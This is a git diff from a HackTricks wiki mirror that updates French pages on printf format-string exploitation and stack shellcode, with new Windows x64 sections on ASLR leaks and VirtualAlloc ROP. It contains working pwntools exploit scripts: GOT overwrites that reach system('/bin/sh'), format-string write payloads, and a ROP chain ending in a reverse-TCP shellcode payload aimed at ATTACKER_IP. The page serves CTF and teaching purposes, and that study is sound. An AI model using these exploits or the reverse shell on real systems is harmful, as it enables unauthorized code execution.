mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/windows-local-privilege-escalation/RE
This commit is contained in:
parent
629679f4d9
commit
a5346e5606
@ -234,6 +234,7 @@
|
||||
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
|
||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||
|
@ -3,15 +3,15 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Basic Information
|
||||
## Informations de base
|
||||
|
||||
En C, **`printf`** est une fonction qui peut être utilisée pour **imprimer** une chaîne. Le **premier paramètre** que cette fonction attend est le **texte brut avec les formatteurs**. Les **paramètres suivants** attendus sont les **valeurs** à **substituer** aux **formatteurs** du texte brut.
|
||||
En C **`printf`** est une fonction qui peut être utilisée pour **afficher** une chaîne. Le **premier paramètre** attendu par cette fonction est le **texte brut contenant les spécificateurs de format**. Les **paramètres suivants** sont les **valeurs** destinées à **remplacer** les spécificateurs dans le texte brut.
|
||||
|
||||
D'autres fonctions vulnérables sont **`sprintf()`** et **`fprintf()`**.
|
||||
|
||||
La vulnérabilité apparaît lorsqu'un **texte d'attaquant est utilisé comme premier argument** de cette fonction. L'attaquant pourra créer une **entrée spéciale abusant** des capacités de **format de printf** pour lire et **écrire des données à n'importe quelle adresse (lisible/écrivable)**. Cela lui permet ainsi d'**exécuter du code arbitraire**.
|
||||
La vulnérabilité apparaît lorsqu'un **texte contrôlé par un attaquant est utilisé comme premier argument** de cette fonction. L'attaquant pourra construire une **entrée spéciale abusant** des **printf format string** capabilities pour lire et **écrire n'importe quelles données à n'importe quelle adresse (lisible/écrivible)**. Cela permet ainsi d'**exécuter du code arbitraire**.
|
||||
|
||||
#### Formatters:
|
||||
#### Spécificateurs de format:
|
||||
```bash
|
||||
%08x —> 8 hex bytes
|
||||
%d —> Entire
|
||||
@ -30,7 +30,7 @@ char buffer[30];
|
||||
gets(buffer); // Dangerous: takes user input without restrictions.
|
||||
printf(buffer); // If buffer contains "%x", it reads from the stack.
|
||||
```
|
||||
- Utilisation normale :
|
||||
- Utilisation normale:
|
||||
```c
|
||||
int value = 1205;
|
||||
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
||||
@ -39,7 +39,7 @@ printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
||||
```c
|
||||
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
||||
```
|
||||
- fprintf vulnérable :
|
||||
- fprintf vulnérable:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
@ -52,13 +52,13 @@ fclose(output_file);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### **Accéder aux Pointeurs**
|
||||
### **Accès aux pointeurs**
|
||||
|
||||
Le format **`%<n>$x`**, où `n` est un nombre, permet d'indiquer à printf de sélectionner le n-ième paramètre (de la pile). Donc, si vous voulez lire le 4ème paramètre de la pile en utilisant printf, vous pourriez faire :
|
||||
Le format **`%<n>$x`**, où `n` est un nombre, permet d'indiquer à printf de sélectionner le n-ième paramètre (sur la pile). Donc si vous voulez lire le 4ème paramètre de la pile avec printf, vous pouvez faire :
|
||||
```c
|
||||
printf("%x %x %x %x")
|
||||
```
|
||||
et vous pourriez lire du premier au quatrième paramètre.
|
||||
et vous liriez du premier au quatrième paramètre.
|
||||
|
||||
Ou vous pourriez faire :
|
||||
```c
|
||||
@ -66,14 +66,14 @@ printf("%4$x")
|
||||
```
|
||||
et lire directement le quatrième.
|
||||
|
||||
Remarquez que l'attaquant contrôle le paramètre `printf`, **ce qui signifie essentiellement que** son entrée sera dans la pile lorsque `printf` est appelé, ce qui signifie qu'il pourrait écrire des adresses mémoire spécifiques dans la pile.
|
||||
Remarquez que l'attaquant contrôle le `printf` **parameter, which basically means that** son entrée va se trouver dans la stack lorsque `printf` est appelé, ce qui signifie qu'il pourrait écrire des adresses mémoire spécifiques dans la stack.
|
||||
|
||||
> [!CAUTION]
|
||||
> Un attaquant contrôlant cette entrée, sera capable d'**ajouter des adresses arbitraires dans la pile et de faire en sorte que `printf` y accède**. Dans la section suivante, il sera expliqué comment utiliser ce comportement.
|
||||
> Un attaquant contrôlant cette entrée pourra **ajouter arbitrary address in the stack et faire en sorte que `printf` y accède**. Dans la section suivante il sera expliqué comment utiliser ce behaviour.
|
||||
|
||||
## **Lecture Arbitraire**
|
||||
## **Arbitrary Read**
|
||||
|
||||
Il est possible d'utiliser le formatteur **`%n$s`** pour faire en sorte que **`printf`** obtienne l'**adresse** située à la **n position**, la suivant et **l'imprimer comme si c'était une chaîne** (imprimer jusqu'à ce qu'un 0x00 soit trouvé). Donc, si l'adresse de base du binaire est **`0x8048000`**, et que nous savons que l'entrée utilisateur commence à la 4ème position dans la pile, il est possible d'imprimer le début du binaire avec :
|
||||
It's possible to use the formatter **`%n$s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -87,15 +87,15 @@ p.sendline(payload)
|
||||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Notez que vous ne pouvez pas mettre l'adresse 0x8048000 au début de l'entrée car la chaîne sera coupée à 0x00 à la fin de cette adresse.
|
||||
> Notez que vous ne pouvez pas placer l'adresse 0x8048000 au début de l'entrée car la chaîne sera terminée par 0x00 à la fin de cette adresse.
|
||||
|
||||
### Trouver l'offset
|
||||
|
||||
Pour trouver l'offset de votre entrée, vous pouvez envoyer 4 ou 8 octets (`0x41414141`) suivis de **`%1$x`** et **augmenter** la valeur jusqu'à récupérer les `A's`.
|
||||
Pour trouver l'offset de votre entrée vous pouvez envoyer 4 ou 8 octets (`0x41414141`) suivis de **`%1$x`**, puis **augmentez** la valeur jusqu'à récupérer les `A's`.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Brute Force printf offset</summary>
|
||||
<summary>Force brute pour l'offset printf</summary>
|
||||
```python
|
||||
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
|
||||
|
||||
@ -128,42 +128,43 @@ p.close()
|
||||
|
||||
### Utilité
|
||||
|
||||
Les lectures arbitraires peuvent être utiles pour :
|
||||
Arbitrary reads peuvent être utiles pour :
|
||||
|
||||
- **Dump** le **binaire** de la mémoire
|
||||
- **Accéder à des parties spécifiques de la mémoire où des informations sensibles** **sont stockées** (comme des canaris, des clés de chiffrement ou des mots de passe personnalisés comme dans ce [**défi CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
- **Dump** le **binary** depuis la mémoire
|
||||
- **Accéder à des parties spécifiques de la mémoire où des** **info** sont stockées (comme canaries, encryption keys ou custom passwords comme dans ce [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
|
||||
## **Écriture Arbitraire**
|
||||
## **Arbitrary Write**
|
||||
|
||||
Le formatteur **`%<num>$n`** **écrit** le **nombre de bytes écrits** à l'**adresse indiquée** dans le paramètre \<num> dans la pile. Si un attaquant peut écrire autant de caractères qu'il le souhaite avec printf, il sera capable de faire en sorte que **`%<num>$n`** écrive un nombre arbitraire à une adresse arbitraire.
|
||||
Le formatter **`%<num>$n`** **écrit** le **nombre d'octets écrits** à l'**adresse indiquée** dans le paramètre <num> sur la stack. Si un attaquant peut écrire autant de caractères qu'il veut avec printf, il pourra faire en sorte que **`%<num>$n`** écrive un nombre arbitraire à une adresse arbitraire.
|
||||
|
||||
Heureusement, pour écrire le nombre 9999, il n'est pas nécessaire d'ajouter 9999 "A" à l'entrée, pour ce faire, il est possible d'utiliser le formatteur **`%.<num-write>%<num>$n`** pour écrire le nombre **`<num-write>`** à l'**adresse pointée par la position `num`**.
|
||||
Heureusement, pour écrire le nombre 9999, il n'est pas nécessaire d'ajouter 9999 "A" à l'entrée ; il est donc possible d'utiliser le formatter **`%.<num-write>%<num>$n`** pour écrire le nombre **`<num-write>`** dans l'**adresse pointée par la `num` position**.
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
Cependant, notez qu'en général, pour écrire une adresse telle que `0x08049724` (qui est un énorme nombre à écrire d'un coup), **on utilise `$hn`** au lieu de `$n`. Cela permet de **n'écrire que 2 octets**. Par conséquent, cette opération est effectuée deux fois, une pour les 2 octets les plus élevés de l'adresse et une autre fois pour les plus bas.
|
||||
Cependant, notez que généralement, pour écrire une adresse telle que `0x08049724` (qui est un HUGE number à écrire d'un coup), **on utilise `$hn`** au lieu de `$n`. Cela permet d'**écrire seulement 2 Bytes**. Par conséquent, cette opération est effectuée deux fois, une pour les 2B les plus élevés de l'adresse et une autre pour les plus bas.
|
||||
|
||||
Par conséquent, cette vulnérabilité permet de **tout écrire à n'importe quelle adresse (écriture arbitraire).**
|
||||
Ainsi, cette vulnérabilité permet d'**écrire n'importe quoi à n'importe quelle adresse (arbitrary write).**
|
||||
|
||||
Dans cet exemple, l'objectif va être d'**écraser** l'**adresse** d'une **fonction** dans la table **GOT** qui sera appelée plus tard. Bien que cela puisse utiliser d'autres techniques arbitrary write to exec :
|
||||
|
||||
Dans cet exemple, l'objectif sera de **surcharger** l'**adresse** d'une **fonction** dans la table **GOT** qui sera appelée plus tard. Bien que cela puisse abuser d'autres techniques d'écriture arbitraire pour exécuter :
|
||||
|
||||
{{#ref}}
|
||||
../arbitrary-write-2-exec/
|
||||
{{#endref}}
|
||||
|
||||
Nous allons **surcharger** une **fonction** qui **reçoit** ses **arguments** de l'**utilisateur** et **pointer** vers la **fonction** **`system`**.\
|
||||
Comme mentionné, pour écrire l'adresse, généralement 2 étapes sont nécessaires : Vous **écrivez d'abord 2 octets** de l'adresse puis les autres 2. Pour ce faire, **`$hn`** est utilisé.
|
||||
Nous allons **écraser** une **fonction** qui **reçoit** ses **arguments** de l'**utilisateur** et la **pointer** vers la **fonction** **`system`**.\
|
||||
Comme mentionné, pour écrire l'adresse, habituellement 2 étapes sont nécessaires : vous **écrivez d'abord 2Bytes** de l'adresse puis les 2 autres. Pour cela on utilise **`$hn`**.
|
||||
|
||||
- **HOB** est appelé pour les 2 octets supérieurs de l'adresse
|
||||
- **LOB** est appelé pour les 2 octets inférieurs de l'adresse
|
||||
- **HOB** désigne les 2 higher bytes de l'adresse
|
||||
- **LOB** désigne les 2 lower bytes de l'adresse
|
||||
|
||||
Ensuite, en raison de la façon dont fonctionne la chaîne de format, vous devez **écrire d'abord le plus petit** de \[HOB, LOB] puis l'autre.
|
||||
Ensuite, à cause du fonctionnement des format string, vous devez **écrire d'abord le plus petit** de \[HOB, LOB] puis l'autre.
|
||||
|
||||
Si HOB < LOB\
|
||||
If HOB < LOB\
|
||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
|
||||
Si HOB > LOB\
|
||||
If HOB > LOB\
|
||||
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
||||
|
||||
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
|
||||
@ -174,11 +175,12 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
|
||||
|
||||
Vous pouvez trouver un **modèle** pour préparer un exploit pour ce type de vulnérabilité dans :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
format-strings-template.md
|
||||
{{#endref}}
|
||||
|
||||
Ou cet exemple de base [**ici**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) :
|
||||
Ou cet exemple basique depuis [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -197,20 +199,61 @@ p.sendline('/bin/sh')
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
## Chaînes de format pour BOF
|
||||
## Format Strings to BOF
|
||||
|
||||
Il est possible d'abuser des actions d'écriture d'une vulnérabilité de chaîne de format pour **écrire dans des adresses de la pile** et exploiter un type de vulnérabilité de **débordement de tampon**.
|
||||
Il est possible d'abuser des actions d'écriture d'une vulnérabilité format string pour **écrire dans des adresses de la stack** et exploiter un **buffer overflow** de type vulnérabilité.
|
||||
|
||||
## Autres exemples et références
|
||||
|
||||
## Windows x64: Format-string leak to bypass ASLR (no varargs)
|
||||
|
||||
Sur Windows x64, les quatre premiers paramètres entiers/pointeurs sont passés dans les registres : RCX, RDX, R8, R9. Dans de nombreux call-sites vulnérables, la chaîne contrôlée par l'attaquant est utilisée comme argument de format mais aucun varargs n'est fourni, par exemple:
|
||||
```c
|
||||
// keyData is fully controlled by the client
|
||||
// _snprintf(dst, len, fmt, ...)
|
||||
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
|
||||
```
|
||||
Parce qu'aucun varargs n'est passé, toute conversion comme "%p", "%x", "%s" fera que le CRT lira le prochain argument variadique depuis le registre approprié. Avec la Microsoft x64 calling convention la première lecture pour "%p" provient de R9. Quelle que soit la valeur transitoire dans R9 au call-site sera affichée. En pratique cela révèle souvent un pointeur stable dans le module (par ex., un pointeur vers un objet local/global précédemment placé dans R9 par le code environnant ou une valeur callee-saved), qui peut être utilisé pour retrouver la base du module et contourner ASLR.
|
||||
|
||||
Practical workflow:
|
||||
|
||||
- Injectez un format inoffensif tel que "%p " tout au début de la chaîne contrôlée par l'attaquant afin que la première conversion s'exécute avant tout filtrage.
|
||||
- Capturez le leaked pointer, identifiez l'offset statique de cet objet à l'intérieur du module (en reversing une fois avec symbols ou une copie locale), et récupérez la base de l'image comme `leak - known_offset`.
|
||||
- Réutilisez cette base pour calculer des adresses absolues pour les ROP gadgets et les IAT entries à distance.
|
||||
|
||||
Example (abbreviated python):
|
||||
```python
|
||||
from pwn import remote
|
||||
|
||||
# Send an input that the vulnerable code will pass as the "format"
|
||||
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
|
||||
io = remote(HOST, 4141)
|
||||
# ... drive protocol to reach the vulnerable snprintf ...
|
||||
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
|
||||
base = leaked - 0x20660 # module base = leak - offset
|
||||
print(hex(leaked), hex(base))
|
||||
```
|
||||
Notes:
|
||||
- L'offset exact à soustraire est trouvé une fois lors du reversing local puis réutilisé (même binaire/version).
|
||||
- Si "%p" n'imprime pas un pointeur valide au premier essai, essayez d'autres specifiers ("%llx", "%s") ou plusieurs conversions ("%p %p %p") pour sampler d'autres argument registers/stack.
|
||||
- Ce pattern est spécifique à la Windows x64 calling convention et aux implémentations printf-family qui récupèrent des varargs inexistants depuis des registres lorsque the format string les demande.
|
||||
|
||||
Cette technique est extrêmement utile pour bootstrap ROP sur des services Windows compilés avec ASLR et sans primitives évidentes de memory disclosure.
|
||||
|
||||
## Autres exemples & références
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
||||
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
|
||||
- 32 bits, pas de relro, pas de canary, nx, pas de pie, utilisation de base des chaînes de format pour divulguer le drapeau de la pile (pas besoin de modifier le flux d'exécution)
|
||||
- 32 bit, no relro, no canary, nx, no pie, utilisation basique de format strings pour leak le flag depuis le stack (pas besoin d'altérer le flow d'exécution)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
||||
- 32 bits, relro, pas de canary, nx, pas de pie, chaîne de format pour écraser l'adresse `fflush` avec la fonction win (ret2win)
|
||||
- 32 bit, relro, no canary, nx, no pie, format string pour overwrite l'adresse `fflush` avec la fonction win (ret2win)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
|
||||
- 32 bits, relro, pas de canary, nx, pas de pie, chaîne de format pour écrire une adresse à l'intérieur de main dans `.fini_array` (de sorte que le flux boucle encore une fois) et écrire l'adresse vers `system` dans la table GOT pointant vers `strlen`. Lorsque le flux revient à main, `strlen` est exécuté avec l'entrée utilisateur et pointant vers `system`, il exécutera les commandes passées.
|
||||
- 32 bit, relro, no canary, nx, no pie, format string pour écrire une adresse dans main dans `.fini_array` (de sorte que le flow boucle 1 fois de plus) et écrire l'adresse de `system` dans la GOT pointant à `strlen`. Quand le flow revient dans main, `strlen` est exécuté avec l'input utilisateur et pointant vers `system`, il exécutera les commandes passées.
|
||||
|
||||
## Références
|
||||
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## Informations de base
|
||||
|
||||
**Stack shellcode** est une technique utilisée dans **binary exploitation** où un attaquant écrit du shellcode dans la pile d'un programme vulnérable, puis modifie le **Instruction Pointer (IP)** ou **Extended Instruction Pointer (EIP)** pour pointer vers l'emplacement de ce shellcode, provoquant son exécution. C'est une méthode classique utilisée pour obtenir un accès non autorisé ou exécuter des commandes arbitraires sur un système cible. Voici un aperçu du processus, y compris un exemple simple en C et comment vous pourriez écrire un exploit correspondant en utilisant Python avec **pwntools**.
|
||||
**Stack shellcode** est une technique utilisée en **binary exploitation** où un attaquant écrit du shellcode dans la stack d'un programme vulnérable puis modifie le **Instruction Pointer (IP)** ou le **Extended Instruction Pointer (EIP)** pour pointer vers l'emplacement de ce shellcode, provoquant son exécution. C'est une méthode classique utilisée pour obtenir un accès non autorisé ou exécuter des commandes arbitraires sur un système cible. Voici une présentation du processus, incluant un exemple simple en C et comment écrire un exploit correspondant en Python avec **pwntools**.
|
||||
|
||||
### Exemple C : Un programme vulnérable
|
||||
### Exemple en C : un programme vulnérable
|
||||
|
||||
Commençons par un exemple simple d'un programme C vulnérable :
|
||||
Commençons par un exemple simple de programme C vulnérable :
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
@ -24,7 +24,7 @@ printf("Returned safely\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Ce programme est vulnérable à un dépassement de tampon en raison de l'utilisation de la fonction `gets()`.
|
||||
Ce programme est vulnérable à un débordement de tampon en raison de l'utilisation de la fonction `gets()`.
|
||||
|
||||
### Compilation
|
||||
|
||||
@ -32,12 +32,12 @@ Pour compiler ce programme tout en désactivant diverses protections (pour simul
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
- `-fno-stack-protector`: Désactive la protection de la pile.
|
||||
- `-z execstack`: Rend la pile exécutable, ce qui est nécessaire pour exécuter le shellcode stocké sur la pile.
|
||||
- `-no-pie`: Désactive l'exécutable indépendant de la position, ce qui facilite la prévision de l'adresse mémoire où notre shellcode sera situé.
|
||||
- `-m32`: Compile le programme en tant qu'exécutable 32 bits, souvent utilisé pour la simplicité dans le développement d'exploits.
|
||||
- `-fno-stack-protector`: Désactive la stack protection.
|
||||
- `-z execstack`: Rend le stack exécutable, ce qui est nécessaire pour exécuter du shellcode stocké sur le stack.
|
||||
- `-no-pie`: Désactive Position Independent Executable, ce qui facilite la prédiction de l'adresse mémoire où notre shellcode sera situé.
|
||||
- `-m32`: Compile le programme en exécutable 32-bit, souvent utilisé pour la simplicité dans le développement d'exploits.
|
||||
|
||||
### Python Exploit using Pwntools
|
||||
### Exploit Python utilisant Pwntools
|
||||
|
||||
Voici comment vous pourriez écrire un exploit en Python en utilisant **pwntools** pour effectuer une attaque **ret2shellcode** :
|
||||
```python
|
||||
@ -66,26 +66,98 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Ce script construit un payload composé d'un **NOP slide**, du **shellcode**, puis écrase le **EIP** avec l'adresse pointant vers le NOP slide, garantissant que le shellcode soit exécuté.
|
||||
Ce script construit une payload composée d'un **NOP slide**, du **shellcode**, puis écrase le **EIP** avec l'adresse pointant vers le NOP slide, garantissant l'exécution du shellcode.
|
||||
|
||||
Le **NOP slide** (`asm('nop')`) est utilisé pour augmenter la chance que l'exécution "glisse" vers notre shellcode, peu importe l'adresse exacte. Ajustez l'argument `p32()` à l'adresse de départ de votre buffer plus un décalage pour atterrir dans le NOP slide.
|
||||
Le **NOP slide** (`asm('nop')`) est utilisé pour augmenter les chances que l'exécution "slide" dans notre shellcode indépendamment de l'adresse exacte. Ajustez l'argument `p32()` à l'adresse de départ de votre buffer plus un offset pour atteindre le NOP slide.
|
||||
|
||||
## Protections
|
||||
## Windows x64: Contourner NX avec VirtualAlloc ROP (ret2stack shellcode)
|
||||
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **doit être désactivé** pour que l'adresse soit fiable à travers les exécutions, sinon l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'une fuite pour déterminer où la fonction win est chargée.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) doivent également être désactivés ou l'adresse de retour EIP compromise ne sera jamais suivie.
|
||||
- La protection **stack** [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) empêcherait l'exécution du shellcode à l'intérieur de la pile car cette région ne serait pas exécutable.
|
||||
Sur les Windows modernes la stack est non-exécutable (DEP/NX). Une manière courante d'exécuter malgré tout du shellcode résident sur la stack après un stack BOF est de construire une ROP chain 64-bit qui appelle VirtualAlloc (ou VirtualProtect) depuis l'Import Address Table (IAT) du module afin de rendre une région de la stack exécutable, puis de retourner dans le shellcode placé après la chain.
|
||||
|
||||
## Autres Exemples & Références
|
||||
Key points (Win64 calling convention):
|
||||
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
|
||||
- RCX = lpAddress → choisissez une adresse dans la stack courante (par ex. RSP) afin que la région RWX nouvellement allouée chevauche votre payload
|
||||
- RDX = dwSize → suffisamment grand pour votre chain + shellcode (par ex. 0x1000)
|
||||
- R8 = flAllocationType = MEM_COMMIT (0x1000)
|
||||
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
|
||||
- Return directly into the shellcode placed right after the chain.
|
||||
|
||||
Minimal strategy:
|
||||
1) Leak a module base (par ex. via un format-string, un object pointer, etc.) pour calculer les adresses absolues des gadgets et de l'IAT sous ASLR.
|
||||
2) Trouvez des gadgets pour charger RCX/RDX/R8/R9 (séquences pop ou mov/xor) et un call/jmp [VirtualAlloc@IAT]. Si vous ne disposez pas de pop r8/r9 directs, utilisez des gadgets arithmétiques pour synthétiser les constantes (par ex. régler r8=0 puis ajouter répétitivement r9=0x40 quarante fois pour atteindre 0x1000).
|
||||
3) Placez le stage-2 shellcode immédiatement après la chain.
|
||||
|
||||
Example layout (conceptual):
|
||||
```
|
||||
# ... padding up to saved RIP ...
|
||||
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
|
||||
POP_R9_RET; 0x40
|
||||
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
|
||||
POP_R8_RET; 0x1000
|
||||
# RCX = &stack (lpAddress)
|
||||
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
|
||||
# RDX = size (dwSize)
|
||||
POP_RDX_RET; 0x1000
|
||||
# Call VirtualAlloc via the IAT
|
||||
[IAT_VirtualAlloc]
|
||||
# New RWX memory at RCX — execution continues at the next stack qword
|
||||
JMP_SHELLCODE_OR_RET
|
||||
# ---- stage-2 shellcode (x64) ----
|
||||
```
|
||||
Avec un ensemble de gadgets restreint, vous pouvez construire des valeurs de registres indirectement, par exemple :
|
||||
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → positionne r9 à la valeur de rbx, met r8 à zéro, et compense la stack avec un junk qword.
|
||||
- xor rbx, rsp; ret → charge rbx avec le stack pointer actuel.
|
||||
- push rbx; pop rax; mov rcx, rax; ret → déplace la valeur dérivée de RSP dans RCX.
|
||||
|
||||
Esquisse Pwntools (étant donné une base connue et des gadgets) :
|
||||
```python
|
||||
from pwn import *
|
||||
base = 0x7ff6693b0000
|
||||
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
|
||||
rop = b''
|
||||
# r9 = 0x40
|
||||
rop += p64(base+POP_RBX_RET) + p64(0x40)
|
||||
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
|
||||
# rcx = rsp
|
||||
rop += p64(base+POP_RBX_RET) + p64(0)
|
||||
rop += p64(base+XOR_RBX_RSP_RET)
|
||||
rop += p64(base+PUSH_RBX_POP_RAX_RET)
|
||||
rop += p64(base+MOV_RCX_RAX_RET)
|
||||
# r8 = 0x1000 via arithmetic if no pop r8
|
||||
for _ in range(0x1000//0x40):
|
||||
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
|
||||
# rdx = 0x1000 (use any available gadget)
|
||||
rop += p64(base+POP_RDX_RET) + p64(0x1000)
|
||||
# call VirtualAlloc and land in shellcode
|
||||
rop += p64(IAT_VirtualAlloc)
|
||||
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
|
||||
```
|
||||
Tips:
|
||||
- VirtualProtect fonctionne de façon similaire si rendre un buffer existant RX est préférable ; l'ordre des paramètres est différent.
|
||||
- If the stack space is tight, allouez RWX ailleurs (RCX=NULL) et faites un jmp vers cette nouvelle région au lieu de réutiliser la stack.
|
||||
- Tenez toujours compte des gadgets qui ajustent RSP (e.g., add rsp, 8; ret) en insérant des junk qwords.
|
||||
|
||||
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **devrait être désactivé** pour que l'adresse soit fiable entre les exécutions ou l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'un leak pour déterminer où la fonction win est chargée.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) devraient également être désactivés sinon l'adresse de retour EIP compromise ne sera jamais atteinte.
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection empêcherait l'exécution du shellcode présent sur la stack parce que cette région ne serait pas exécutable.
|
||||
|
||||
## Autres exemples & références
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
|
||||
- 64 bits, ASLR avec fuite d'adresse de pile, écrire le shellcode et y sauter
|
||||
- 64bit, ASLR avec leak d'adresse de la stack, écrire un shellcode et y sauter
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
|
||||
- 32 bits, ASLR avec fuite de pile, écrire le shellcode et y sauter
|
||||
- 32 bit, ASLR avec stack leak, écrire un shellcode et y sauter
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
|
||||
- 32 bits, ASLR avec fuite de pile, comparaison pour empêcher l'appel à exit(), écraser une variable avec une valeur et écrire le shellcode et y sauter
|
||||
- 32 bit, ASLR avec stack leak, comparaison pour empêcher l'appel à exit(), écraser une variable avec une valeur, écrire un shellcode et y sauter
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
- arm64, pas d'ASLR, gadget ROP pour rendre la pile exécutable et sauter au shellcode dans la pile
|
||||
- arm64, sans ASLR, gadget ROP pour rendre la stack exécutable et sauter vers le shellcode sur la stack
|
||||
|
||||
|
||||
## Références
|
||||
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
